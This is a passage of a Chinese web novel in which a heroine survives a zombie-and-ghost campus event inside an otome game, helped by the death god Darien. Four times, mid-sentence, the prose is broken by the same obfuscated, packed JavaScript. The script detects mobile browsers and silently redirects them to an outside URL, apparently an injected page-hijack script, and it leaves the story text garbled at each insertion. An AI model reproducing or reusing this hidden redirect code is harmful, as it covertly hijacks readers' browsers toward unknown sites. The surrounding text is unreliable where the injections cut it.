虽然那张坚毅的脸庞并不是她的理想型。 柳莳萌意识到自己在这种情况下竟然还能调侃角色，看来，理智大于50的作用不止正面效果加成，还可以让她在任何情况下都能够保持冷静。 以人类之姿与丧尸管理员沟通，不妨一试。她张口问道：“你好，请问，你能听懂我说的话吗？” “拜托松一下手哈，抓的我脚踝骨有点疼……” “吼——”丧尸管理员扯动皲裂的嘴唇，她尖锐的牙齿撕掉了嘴角的死皮，“这位同学，夜深了，乖乖回寝室睡觉吧……” “睡不着，可以，来找我谈心啊。代价是，一根美味的脚骨头……” 说完，她就要一口啃上去。 “！”作为一个在校学生，柳莳萌在她说到“谈心”的时候，还真想和她畅谈社会主义核心价值观，富强民主文明和谐哪个不能说一宿，说完了，她就能存活下来了。 听完后半句，算了，还是想想就好。 “动哪里都不可以动脚！” “我还要靠这双脚来逃命呢！” 柳莳萌自知自己身体羸弱，但她可以出其不意，攻其不备。她照着管理员凑上来的脸就是临门一脚，借着后劲，顺势出了房间。 【闯出门，“你”站在走廊上，看见楼底下那蜂蛹般的人潮，汹涌窜动着，四处游荡。“你”被吓的愣在原地，动弹不得。】 面板之后，正是那蜂蛹般的人潮。 因为她所在的地方正是一楼。 “不是！” 当时玩的时候没觉得，现在柳莳萌是真的感到恐惧了，“这个剧情是真的不考虑别人的死活啊！”她深吸一口气，准备从游荡的人潮中穿过去。 他们只是按照面板中的文字在默默游荡，似乎还不具备什么攻击性，纯粹就是一个吓死人的“氛围感”。如果真被咬了，应该也不会死。 “顾不了那么多了！” “说冲就冲！” 柳莳萌抱着孤注一掷的决心向前飞奔，她决定在这段路上把所有的体力值都消耗完。此刻的她已经死了一次，无论之后遇到什么，她都决不害怕。 “你真是不要命了。” 奇怪，她怎么会听见达里恩的声音？ 他不是说自己‘无法过来’吗？这个活动里也没有达里恩，柳莳萌有想过：作为一个主线剧情最后才出现的死神，他可能是碍于设定，因此受到了限/制。 但她没有想到，他居然能够突破限/制赶过来。 心里惊讶于他的执着，嘴上却忍不住责怪他两句，柳莳萌不满地向他抱怨，“没错！我是不要命了，还不都怪你，来的这么晚！” 达里恩站在大槐树树冠，显得有些委屈。 “我只是感觉你不太需要 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当她还在惊讶达里恩的强度时，一楼大厅已经被清场了，“你刚刚做了什么？” “我刚刚挥了剑。” “就像这样。” 他抬起手，疯狂燃烧的火焰从脖颈一路到手臂，最后到剑尖，绽裂。剑芒生长，分不清是剑光还是被抛出的火焰的种子，以一种迅速寻找寄生宿主的方式，不偏不倚，精准地扎向目标，贯穿心脏。 柳莳萌以为自己要死了，可剑芒直直地穿过她的肩膀上方……很快，她听见了倒地的声音。 “不晚。” “那是最后一个，你安全了。”达里恩利落收剑，他将长剑用绳结简单地绑在腰间，束好。 柳莳萌注意到，剑柄居然像缠枝那样挂着灰质珠链。正是这些优雅的象征物，才使他看上去像乙女游戏的一位可攻略角色，不然，他就是一个凶神恶煞的莽夫而已。 【叮——体力值耗尽。】 这意味着：她无法再继续奔跑了。 第一次奋力地逃命，柳莳萌这具孱弱的身体腿软了，她倒在地上大喘气。达里恩单膝跪下，将自己的一半肩膀借给了她。 “你、你干什么？”柳莳萌红着脸。 “我就是……跑不动了，想在原地休息一下。” “哦，我以为你要晕倒了。” 达里恩见柳莳萌没有靠上来，他站起身，背过手问：“你真的要在这里休息吗？这些人的身体里没有任何生命迹象，也就是说，他们其实都已经死了。” 他坦言：“我无法让死人死去，他们过一会儿应该会重新站起来。” “我明白了。”柳莳萌扶着达里恩的手起身，“有你在，在这里存活三天三夜应该不难。” “不对！就算没有你，我也可以在这里存活过三天三夜。” “不就是一群小丧尸吗？”柳莳萌不信，她惹不起，躲得起。 “出了寝室以后，你先用能力帮我探一探路，看看有没有‘变异丧尸王’，就是有特殊能力的那种。” 她怕再次强制触发活动日常里的对话事件。 达里恩低头：“如果你指的是这种没有生命迹象的人，他们其实都是一个级别。” “一个级别相当于是……没有区别？” 柳莳萌高兴坏了：看来这个末世不怎么危险嘛，连精英怪物和特危怪物都没有，很安全。 “那我们先去一趟小超市，搜刮点吃的和喝的好了。”她信步闲庭地向外走，刚刚有多慌张，现在就有多悠闲。“寝室楼正前方两百米就有一家小超市，天蒙蒙亮就开灯了，看面积似乎不小啊，不愧是贵族学校。” 【“你”与死神遇到了一伙刚睡醒要逃难的学生，他们畏畏缩缩，准备向你请求帮助。】 【强制触发活动日常事件】 见柳莳萌要上前搭话，达里恩拉住了她，“还敢随随便便和陌生人讲话，你是真的不打算要命了，是吗？” “这有什么危险的？”柳莳萌不解地眨了眨眼，“他们只不过是被卷进来的同学，看我也穿着校服，准备寻求帮助而已。” “这里生死颠倒，你猜他们是一伙活人，还是一伙死人？” “在这里活人比死人更危险。” “你、你说什么……？”柳莳萌吞咽了一口唾沫。 【与活动主要角色“一群迷路的鬼同学”对话。请抽取“成功”与“失败”。负面效果触发，理智＞50，“失败”概率大幅度提升。】 【判定失败。】 9. 末世校园加载中4 “想和鬼对话，原来不能要太多理智？” 柳莳萌挠了挠后脑勺：坏了，头好痒，该不会……头上要长脑子了吧。 “判定失败，除了不能对话以外，也没有什么不好的影响吧？” 她刚想拔腿开溜，却突然回想起来：活动剧情中，玩家一开始遇到了许多奇奇怪怪的充满恶意的同学。 这些恶意组成了返校日第一节里的五个小关卡，关卡名为“辰夜余晖”。柳莳萌再抬眼看那一群鬼同学，不多不少，正好“五”个，无论是时间还是人数，恰好能够对应上。 可现在这些关卡小怪们并不想杀自己，反而向自己寻求帮助？这一点倒是与游戏不同了。她停下来快速思考。 为什么？ 柳莳萌瞧了瞧身旁的达里恩。 “按照《与死神同行》的游戏设定，关卡小怪会对与死神同行的玩家无条件产生恶意，甚至动起杀心。” “剧情中没有详细解释，但，会不会是因为玩家身旁的死神能够将他们送回死亡中，给他们造成了‘鬼命威胁’？。” 这么一想，换装系统的提前上线就能够解释通了。 原来这也是有迹可循，柳莳萌恍然大悟。 “听我的，你先换一个装！”柳莳萌调出“SSR·我即地狱”。 这张卡面的风格整体偏向黑暗，极夜、迷雾，还下着大雨，背后的光勾勒出一件极具代表性的衣服。她顺着光源看向头顶，达里恩立刻披上了一件边缘被烧焦的浸湿的宽大黑斗篷。 凶恶的面貌与强大的气场被黑斗篷掩盖，那一群迷路的鬼同学明显不再畏畏缩缩了。 如果真认出达里恩，他们恐怕会假意寻求帮助，变成剧情里的趁机反杀。好在理智够高，触发了负面效果，判定失败，加上一次换装，让他们产生恶意的动机彻底消失了。 “什么嘛！” “真搞不懂这个人到底有什么好怕的！”她捏住达里恩的斗篷衣领，凑近一拉，将他整个都兜在斗篷里。 后者不清楚前者想做什么，傻呆呆地让她摆弄。 “我觉得他们也没什么好怕的……” 突然，柳莳萌心中冒出一个大胆的想法。 既然恶意已经消失，而自己也不是玩家，那她大可以与这群鬼同学们对话，提前了解对面还有什么危险的怪物。 只是她的理智太高，不能使用常规方法。 至于“非常规方法”……眼下就有一个。 *** “他们刚刚一直在那边招呼你，想叫你过去。”达里恩不情不愿道。 “我已经提醒过你要当心活人了，你还是不愿意听我的话。你会死的。” “哎呀。”柳莳萌的手伸进斗篷里，悄悄捏了他的小拇指一下，“这不是有你吗？”她拍了拍他的手背，“你就好好在我身后充当‘鬼怪翻译器’哈！” “刚刚站太远了，没有看见你们。” 她牵着达里恩走近那群迷路的鬼学生，一眼发现他们的校服是旧制，几年前的老款式，领口和袖口不一样。 他们的衬衫脏兮兮的，最刺眼的是上面那大面积的暗红色痕迹。 如果她不知道，恐怕还真的会被他们给吓到。柳莳萌选择性地忽略了这些怪异的地方，轻松地与他们攀谈，“天还早，你们是打算去哪里啊？” “……” 达里恩：“他们说一觉睡醒就觉得肚子很饿，想去找吃的，但是怎么找都找不到。”他好心补充了一小句，把柳莳萌吓个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108902|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半死，“我觉得他们是在找你。” “哦是吗……” “我和我的朋友正好也要去附近的小超市找点吃的，你们要不要和我们一起？” “……你不害怕？”达里恩问。 “怕。” “但是把鬼同学带在身边，总比不知道他们之后会从哪里蹦出来要好吧。”不知不觉间，她握紧了达里恩的手，意识到这样的亲密举动不好，又松开了。 “你是怎么认识我的？” “问这个做什么？我们不是刚认识吗？” 听到这话，达里恩顿了顿。 随即，他微微眯起那双紫色的眼睛：“我的意思是，他们刚刚在问‘你是怎么认识我的’。” “啊？！” 柳莳萌一下子反应过来，后背“嗖”地渗出一层冷汗。 刚刚才松开的手又迅速握紧了达里恩，而且她这一次握的比上一次更紧了，“我、我的意思是……我和他之前因为某些原因，分开过很长一段时间，现在重新见面都有些生分了，像刚认识的一样。” “哈哈，其实，我们关系很好的。” 她向鬼同学亮了亮两人紧紧握住的双手。 不知道为什么，他们的表情看上去十分高兴。“你们怎么了？”柳莳萌不解道，一抬头，她看见达里恩在用一种复杂的眼神看着自己。 “你又怎么了？” 她严重怀疑自己说错话了。 【死神“达里恩”隐藏数值+1】 “你……”柳莳萌欲言又止。 “说实话，你我是一点儿都不好奇。活动面板爱出毛病是正常的，我打活动的时候经常被卡出去，黑屏啊，信息错乱也有过两三次。” 【……？】 10. 末世校园加载中5 “你是他们的‘知己’。” 达里恩淡淡道：“他们说，是为了找朋友才不小心迷路的。”柳莳萌一知半解的听不明白，追着死神问，他将五位鬼同学的身世详细说了出来。 原来，他们五个鬼生前是非常要好的朋友。某天他们约好去学校的后山野餐，野餐还没开始，其中一个人在小树林里走丢了。另外一个人带着剩下三个人去找，可他们五个人接二连三地消失在了后山的小树林里。 “他们都是摔死的。” “应该是对那片地方不熟悉，在找人的过程中不小心摔死了。” 柳莳萌听完只觉得有些离谱。为什么学校的后山能摔死人？那不就是一个小山坡而已吗！ 但一想到这里是完全虚构的游戏，再一想到这里是豪横的贵族学校，说不定……这个后山就是按照奇峰异岭的标准来的。这也就不奇怪了。 “他们还说什么了吗？”柳莳萌问。 “没有了。” 其实他们还叽里呱啦地说了很多，但达里恩认为和她说到这里就足够了。 一个人类外来者不该过多掺和死魂的事情，尤其是“交朋友”之类的话题，人鬼交流太多容易出现精神错乱的严重问题。 但他真正想说的话并不是这些大道理。 而是“别和其他人交朋友”这简单的八个字而已。 “到了。” 走了几分钟，小超市近在眼前。透明的大门让超市内部一览无余，柳莳萌之前看见的灯光是一排硕大的立式冷冻柜，蓝色天花板上，整齐的白炽灯管明明灭灭，看起来好像是线路有什么问题。 “我家开的超市啊从建校开始就在了，这么多年来都没变过。” 一阵规律的敲桌面声迅速引起了他们的注意。 自称是“超市老板娘”的人站在收银台后，她身上飘散着香水味，单手叉腰，脸色厌厌，一副十分不耐烦的样子。 “站在外面看了很久吧？” “愿意进来买东西的同学呢，就多担待一下这间上了年纪的小超市；不愿意进来买东西的同学呢，就快走！”她的手从围裙口袋里掏出来，是一根点燃的廉价香烟。 “奇怪……”柳莳萌看向墙面。 超市外墙壁上明晃晃地张贴了几张红色的警示画报，其中一张上赫然印着四个大字“禁止明火”。 她开始觉得不对劲了。 “老板娘，你这家超市好像不能吸烟吧？” “噢。”听完，老板娘竟然深深地吸了一口，望着烟圈，她的眼神里满是不舍，“我忘了这条新规定了。” “在学校里是不应该这样，会带坏学生。”她掐灭烟头，“只不过以前学生少嘛，也不管这些的。” 柳莳萌：“……以前是多久以前啊？” 超市老板娘微微一笑，并未作答。 ——她也不是人！ 不惊不惧，不骄不躁，见多了就好，习惯了就好，柳莳萌干脆不细想了。她发现：这次活动面板并没有出现，也没有强制触发活动日常事件。 “难道……剧情里玩家与死神并没有来过超市？” 那超市和老板娘就是一个没有设定的“废稿”了。 游戏废稿中的角色与她之前所见过的星月城市路人差不多。他们没有身世，性格也毫无特点，只是呆板地遵守一条铁则——“身份”。 换句话说，老板娘只负责买卖超市中的商品，其余的事情她一概不管，对她构不成威胁。 确认了一个安全地，柳莳萌心中踏实几分。 她本想住在超市里躲过七十二个小时，达里恩负责看大门，谁曾想，她刚进去就被一根扫帚给扫出来。 见鬼了！这游戏世界居然还是反作弊模式？ “我想来超市买点吃的，但是，我没有钱……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108903|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳莳萌将自己的眼睛瞪到最大，眉头拧起，整个人蜷缩起来，眼中梨花带雨，楚楚可怜。 “没钱？没钱免谈！” 老板娘手握着扫帚，明显就是还要把她往外赶，但她突然看见了什么，又把扫帚放下了。 “唉，本来是不可以的，但是看在你把他们带来的份上，给你破一次例吧。” 在看见她身后的那群迷路同学的瞬间，老板娘就明白了：面前的人不是一名普通的在校学生。 “我以为你会非常害怕我们，会伤害我们，看来并不是这样。”她按下收银台的按钮，超市入口处的门卡立刻消失了，“进去吧。你可以从超市里拿走五件商品，免费哦，不收你钱。” “你愿意帮我？”柳莳萌惊讶道。 “不是帮你。” 老板娘冲那一群迷路的鬼同学招了招手，站在最中间的男生飞快地跑到她身边，喊了一声“妈妈”。 “这是我儿子，他是个贪吃的小胖墩，一饿肚子就爱闹脾气，他已经很多年没有回家吃饭了。”说到这里，她那厌厌的表情转变得温情柔和。 “这是你应得的。” 怎么可能？！柳莳萌攥紧手。这些游戏角色居然出现了联系，而且，还产生了剧情中根本不存在的故事和感情！ 柳莳萌疯狂默念：面板！面板！这到底是怎么回事啊！这里不是严格遵守设定的游戏世界吗！心中的好奇欲百爪挠心，让她僵在原地，无法动弹。 这一次，活动面板反常地没有保持沉默。 【没有不代表不存在。】 【有什么可慌张的，你也是一个本不会存在的角色。你，奇迹之子，你们两个都有改变世界的能力，原本的剧情与设定只是帮助你快速理解的表象。相信你也已经发现“作弊不是万能”的事情了，奉劝你最好不要太过依赖已知的信息。】 【在这里，一切皆有可能。】 11. 末世校园加载中6 “我问你哦，你和你的朋友应该都不是普通人吧？” 超市老板娘神出鬼没，趁柳莳萌不注意又悄悄来到她的身旁。 但她身边还有一个人比她更加神出鬼没，硬是将她给拦了回去。达里恩满腹狐疑：这个生魂，她为什么总是爱主动凑上来呢？ “冷静，八卦是人的天性，哪怕到死了都是改不掉的。”柳莳萌用细若飞蚊的声音小声说了一句，将达里恩扯回自己身后。 “那你就任由她这样下去？” 达里恩俯身贴近了些，略微抬眼，一副“你连死神都能不放在眼里居然还在乎一只鬼”的样子，语气间满是不可置信。 他的性格原本就是这么爱替别人操心的么？她真替游戏里的达里恩感到惋惜：剧情里那潦草的三言两语放在他身上的确不够，对比之下，一看就知道是有多么不走心。 “哟呵——！” 老板娘的头灵活地往后一龟缩：“我这双眼睛看人很准的，别不承认。” 柳莳萌现在算是发现F级身份有多么不利了。如果她是学生会副会长，完全可以用自己的身份将老板娘给糊弄过去，但她只是一个普通学生。 至于达里恩，他应该轻轻松松就能把他们全部送入进死亡之地吧。但除了提醒一句，他没有任何反应，甚至连剑柄都没有碰。 这是不是意味着：老板娘此时的聒噪只是一种过分关心的方式，并不像真正的怪物那样会伤害到她。 “或许……” “老板娘你是不是知道这所学校里还有什么不太普通的地方？”柳莳萌扭头问。 “果然没看走眼啊。”她没再纠缠，反而原路折返回小小的收银台，“挑好东西后来我这里结账，结完账我就告诉你。” ...... 柳莳萌在超市里逛来逛去，在慎重考虑后选了一箱瓶装矿泉水、压缩饼干、床上用品三件套、辣椒喷雾和糖果罐。 前两项可以说是末世必备品了。床上用品是她考虑到自己可能需要找个地方休息打盹。辣椒喷雾是她突然想起了之前的牛大石，如果遇到同类型的人可以自保。糖果罐则是临时凑数用的…… 好吧，这其实是她的饭后甜点。 这些东西全部变成了道具，被收进了一个容量无上限的包裹里。无需随身携带，和星月宝匣的使用方式一样，只要她心中默念道具名，道具就会自动出现在手掌心。 “现在可以告诉我们了吧？” 柳莳萌站在老板娘身前，她早已在这里等候多时了，“当然，我就说我知道的，信与不信随便你。” “这个学校里有一个很不普通的地方，在最西边，就叫‘西大礼堂’。那里曾经是一座山庄，差不多到了这个时候会有很多外来的游客光顾，在我们这片地方算是小有名气。” “建校之初，这座山庄被划分到了学校里，奈何校里寸土寸金，为了学校能有更多的基础设施，在校长的提议之下，山庄被人为推平了。” “这本来是一件好事，坏就坏在山庄的屋顶铺了一层茅草。远看简陋，近看空旷，二者兼得的地方天然采风集露，风卷云，露招雾，所以在西大礼堂里有时候能听见一些奇怪的声音。” 这番话听的人毛骨悚然，柳莳萌起了一身鸡皮疙瘩，她狠狠搓了搓自己的手臂，“我大概知道了。” “具体是什么，你去看一看就知道了。” “不。” 柳莳萌拒绝了老板娘的提议。 “谢谢你的提示，我会避开那个地方的。” “好。” 那一刹那，超市的灯全部熄灭了。 玻璃门外出现了一个黑色的东西，像是人影，而人影之后还是人影，两个，三个，四个……被月光放大了无数倍的影子随着行走的步伐微晃身体，被天花板边缘截断了脖子，而脸面正好在他们正上方。 不用看都知道那会是一双双失去生气的眼睛，深深凹陷的眼窝，不知道是在观察，还是在凝视。 黑暗中死寂漫延，人的听觉则越发敏锐。 他们想要进来，却不说话。柳莳萌听见窸窸窣窣的布料摩/擦声响，频率越来越快，应该是最前排的人停住了但最后面的人还在往前挤。 而且，是越来越多的人在往前挤。 当第一只手掌印出现在门上，超市的灯终于亮了。 老板娘和五位迷路的鬼同学都不见了。 “灯熄灭的时候他们就已经离开了。” “不是我干的，他们的气息是突然消失的。”达里恩的眼睛能够看见生命的气息，他早就知道，挑着这个时候说，明显是为了照顾到某人的情绪。 但还是换来了某人的斜眼一瞪，“你怎么不早说？” “原因有很多，最主要的：说了你肯定觉得我是在吓唬你。” 那倒也是。收银台后空空荡荡，达里恩的黑斗篷掠过结账机器，柳莳萌看见机器上贴着一张便签，上面写着：早餐时间。 “即便成为了丧尸也不忘饭点，还准时来超市抢面包，我好像明白这所学校的学生都是什么人设了……” 【体力值已恢复满】 超市后门开着，柳莳萌带着五件物资道具从后门跑了出去。 *** 【“你”被失去理智的同学们追着路过一间无人的小超市，前方不远就是操场。望着地平线升起的鱼肚白，“你”不知道该如何拯救全校学生的性命，心情低落而又沮丧，只想找一个空旷无人的地方大哭一场。】 【好在“你”并不是一个人。】 【既然这是“你”最迫切的心愿，那我就带“你”到一个空旷无人的地方去。与里弗抱紧了“你”，他的臂弯温暖有力，他用低沉而又充满磁性的嗓音安慰道：没关系，哭吧。】 【永无尽头的漫漫长夜迎来了第一缕余晖，泪水掺杂着叹息，流淌进了死神的心里。他能够感受到，自己的心田已然不再冰冷。】 *** “我已经快忘记这是乙女游戏了……” 在这种“恨不得时速两千米逃生”的情况下，柳莳萌根本无法想象自己与达里恩突然抱在一起会是一种怎样荒诞无比的场面。 虽然他们已经抱在一起了。 仔细想想，她也不吃亏，但是，柳莳萌不认为这种用斗篷把人滚一圈，然后打包带走的方式会让她产生任何心动的感觉。 “能把我放下来了吗？”柳莳萌恳切道，“我感觉自己像襁褓里的婴儿，而且，有点晕，还有点闷。” 避开西大礼堂，她和达里恩来到了教学楼。 这里是全校最高的建筑，有很多教室和办公室可供躲藏，靠着包裹里的道具，挺过七十二个小时应该没有多大问题。 “来坐。” 柳莳萌随意挑了一张课桌，拍了拍课桌旁配套的椅子，示意达里恩可以坐在旁边休息一会儿。 “吃糖吗？这个牌子是我的世界里真实存在的，可好吃了，分你一颗。”她翘起腿的功夫，手中就多了一个糖果罐，“要青葡萄味的，还是要柠檬味的？” “……有桃子味的吗？” 柳莳萌顿了顿：“有啊。不过你少来吓唬人啊，你的声音怎么变了？” 达里恩：“因为那不是我。” “！” 在她僵住的那一瞬间，整个教室的地板变成了粉红色，像是被油漆桶砸过，未干的涂漆中央出现了一行张狂而又扭曲的美式英文涂鸦“sh*tupandf**kyouall”，意为“你们都**闭上嘴去死吧”。 【遭遇活动主要角色“顽劣鬼”】 听声音似乎是一个与自己同龄的男生。 但柳莳萌偶然间一瞟，却发现他的下半身穿着短裙水手服，手里头捏着一根没墨的圆珠笔，被嘴啃过的歪歪扭扭的拇指指甲按在笔帽上，半开半关地玩。 “你给我啊……不给我……我就捣蛋。” “我给……！”给字还没有说出口，柳莳萌的话被扼杀在了摇篮里。 【事件成功与失败需通过抽卡系统获得。请抽取“成功”与“失败”。负面效果触发，理智＞50，“失败”概率大幅度提升。】 【判定失败，无法对话。】 柳莳萌不敢抬头，她全身一凛：完蛋了！ 她想跳下课桌逃跑，却被一只手按住肩膀，大力推向了桌面。桌面上不知何时出现了一沓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108904|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 课本，内页被撕坏了，完好的地方被圆珠笔的笔迹涂的乱七/八糟。 课本硌的后腰要了命般生疼。 “嚓”—— 当柳莳萌还在为自己那被撞青的腰叫苦不迭的时候，蓦地，圆珠笔的笔尖穿透了纸面连带着桌面，扎在了她的耳旁。幸好因为吃痛，她刚刚偏了一下头。 “知道上面写了什么吗？”柳莳萌听见课桌发出“咔啦咔啦”的刮擦声。 像是用美工刀划开，她的后背能感受到那些灼热的文字，如芒针在扎。 “晦气的家伙……” “满嘴谎话的骗人精……” 笔尖缓缓移动，非常刻意地描摹，“这一次是头发，下一次是耳朵，再下一次，就是眼睛……” “还有一个碍事的家伙。” 她不明白顽劣鬼在说什么，但她的双眼能够看见——火焰抓住了他的手腕，阻止了他的下一步动作。 是达里恩。 他为什么不直接烧了他？还是说顽劣鬼太厉害了，他做不到？ 看着逼近眼前的大嘴，柳莳萌艰难地别开脸，被吓到发木的鼓膜接收到了达里恩的话语。她终于知道为什么达里恩没有直接烧了这鬼了。 “哈哈哈……原来你是在帮我翻译啊……” 因为顽劣鬼是话痨，达里恩上一句没翻完，下一句就冒出来了，他就只能像延迟了一样在原地站着。好一个感动业界的良心“翻译器”。 如果可以，她会给五星好评，然后手写一句：钱你好好收着，算是姐姐打赏的不用还了，愿乙女游戏别再量产这种害人不浅的铁憨憨。 “没有关系，就算有人来帮你，也是我们的数量更多。” “因为你的眼神太让人讨厌了。” 面前已经是一个张大到能把她整个头都吞进去的大嘴，柳莳萌甚至能清晰地看见上颌的纹路。 她深吸一口气，将顽劣鬼的圆珠笔直接抢到手里，反身，将他拿笔的那只手掌钉在课桌上，下桌，利用课桌将他推开。 当顽劣鬼跌倒在油漆涂鸦上时，他发出了一声痛苦的尖叫。被他踩过的地方，字母变成了一根根穿心钉。 “你！是你！！！” 又是一声凄厉的叫喊。 “啊？”柳莳萌察觉到了什么，“地板上这句话……是我说的？” “看来这就是他讨厌你的理由。” “当他在教室里乱欺负人的时候，你曾经反抗过他。” 大片油漆正好能够作为引燃物。借着柳莳萌推过来的课桌，达里恩俯下/身，顺势而为。 他屈起食指，敲了敲地面，以声为形，敲了几下，顽劣鬼的脚边就出现了几簇火苗。火丝明澄，像蛇一样吐露信子，升腾而上，成为一张大网，不断收紧，将网中厉鬼绞成了一捧死灰。 “哇哦，你的地狱火除了给剑用，还可以这么用呢？” 因为好奇，柳莳萌没忍住凑近多看了几眼。 “别靠近他，有些不对劲。” 达里恩皱眉，表情凝重：“不止他一个。这里有东西在源源不断地给亡魂提供能量，帮助他们违逆生死，死而复生。而且我的眼睛看不见它的具体位置。” “现在他们把教学楼的大门给封住了。” “我可以冲出去，但你……你比较危险。”达里恩伸出手，“虽然你是外来者，但本质上你是人类。即便我保护你，你的灵魂也可能会被亡魂强留下来，成为他们的同伴，或者，是成为他们的食粮。” 柳莳萌：“……” 那是必然的，她还没忘记所谓的强制触发对话事件。她托住下巴，转念一想，“但以你的实力，完全可以把他们给灭了啊。” “现在可以，但时间长就难说了。只要那个东西还在继续提供能量，处于能量中心的亡魂会越来越强。” “不过只要能找到它，破坏掉，这所学校里的一切怪象都会消失，全校人就都能得救了。” 这个欢欢喜喜大团圆的桥段怎么这么眼熟？ “怎么会这样，难道我‘跳关’了？” 而且还不是普通的跳关，柳莳萌心里苦：我这是从小关卡直接来到“最终关”了吧！ 12. 末世校园加载中7 首先，要从这座教学楼里逃出去。 柳莳萌离开教室，来到楼梯间，大门的确和达里恩所说的一样，完全被铁闸门给封死了。如此一来，能逃出的路线仅剩下一条：楼上。 楼梯间的防火栓旁贴了一张教学楼平面示意图，她扫了一眼：“这个楼居然有十八层？” 再怎么高也不应该有十八层吧？柳莳萌硬是在原地愣了几秒，“这地方没有电梯，让我一口气不带喘地爬十八楼，我的体力（值）好像不允许啊。” “没有这么高。” 达里恩出声反驳：“实际上只有八层。” “你怎么知道？”柳莳萌反问他。 “我的眼睛能看到。” 死神/的眼睛与其他神明不同的地方在于：他们能看见三种看不见的人。一种是曾经死去的人；第二种是正在死去的人；第三种是将要死去的人。 无论是哪一种，都和这座教学楼的实际层数没有任何关系。柳莳萌半信半疑道：“你的眼睛……难道是尺啊？” “不是。”但达里恩没有过多辩驳，反而一本正经地催促她快点走。 “因为第八层楼有问题。”达里恩捏住剑柄。 “从第八楼往上，每一层都充斥了大量复苏的亡魂。亡魂和人类不同，他们不会四处晃荡，一般会选择徘徊在生前最后停留过的地方。” “哦我懂了。” “按照你的理解，第八楼理应是教学楼的‘顶层’！难怪那个顽劣鬼说他们的人数比较多呢……”柳莳萌突然睁大眼睛，“不会吧！那我们还站在这里等什么？” “快跑啊！！！” 达里恩：“你等等……” 他想不通，这个人明明可以开口求助自己，用瞬间移动立刻到达第八楼，却非要用这种更加困难的方式逃生。 “算了。” 这就是外来者独特的“兴趣爱好”吧。爬上半层楼梯的柳莳萌因为心里太过害怕，早已把自己可以求助死神这种事情完全抛在脑后。 【叮——体力值已耗尽。】 “这个孱弱的身体，怎么会才到第四楼就没有体力了啊！”柳莳萌内心真恨不得回到操场上去跑八百米，但现实情况是，她只能停下来悠哉悠哉地走。 “跑不动了？”达里恩见柳莳萌由跑改为走，也慢下来，不急不快地跟在她身旁。 “咳……没有！” 刚才还在擦汗的手迅速撇了下来，柳莳萌清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108905|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了清火辣辣的嗓子，她可不能让“游戏角色”察觉到“游戏系统”的存在，“我是突然间觉得没有必要那么紧张。” “刚刚的顽劣鬼那么危险我都没事，之后肯定能从教学楼里安全逃出去的！” 达里恩点了点头：“你会的。” “虽然这次的亡魂数量是多，但是我会保护你的。” “你、你说什么？”柳莳萌有些腿软，她靠在楼梯扶手上，回了点力气，“数量多是有多少啊？”奶奶滴！这栋教学楼到底是跳过多少人！ “十个左右。” “好像还行……”柳莳萌长舒一口气，仔细想想只是从个位数到了十位数，自己也是见过世面的老玩家了，只要数量不超过十，她都可以接受。 “但是一楼教室里的那个，不知道会不会在他们下来的时候趁机上来。” “……！” 话语之间，漆黑长剑已经被他牢牢握在手上，柳莳萌则牢牢抱住了楼梯扶手。虽然她一句话都没有说，但那双疯狂地震的瞳孔此刻已经道明了一切：快、保、护、我！ 达里恩蓦地轻笑了一声。 “他们已经在第七楼了，我先去帮你清理掉，你慢慢走上来就可以了。” 13. 末世校园加载中8 达里恩认为自己不是一个那么称职的“死神”，但他的业绩在一众神等中算是名列前茅。因为他信奉一条铁律：死亡，对于某些人来说是必须要履行的“义务”。 抛却镰刀，转而选择一把酷似正义之神忒弥斯右手所持的长剑，已然揭示了他内心的真实想法。 这也意味着：他在遇见作恶多端的亡魂时压根不会心慈手软。 即便那些命运还远远未到该断绝的时刻。 *** 怀揣着忐忑不安的心，柳莳萌来到了第七楼。这里离顶楼还差一层楼的距离，但她已经感觉到冷意了。 与普通的寒凉不同，那是一种潮湿的阴冷感，像全身都泡在水里，体温迅速流失，能感受到流淌的血液缓慢冷却下来。 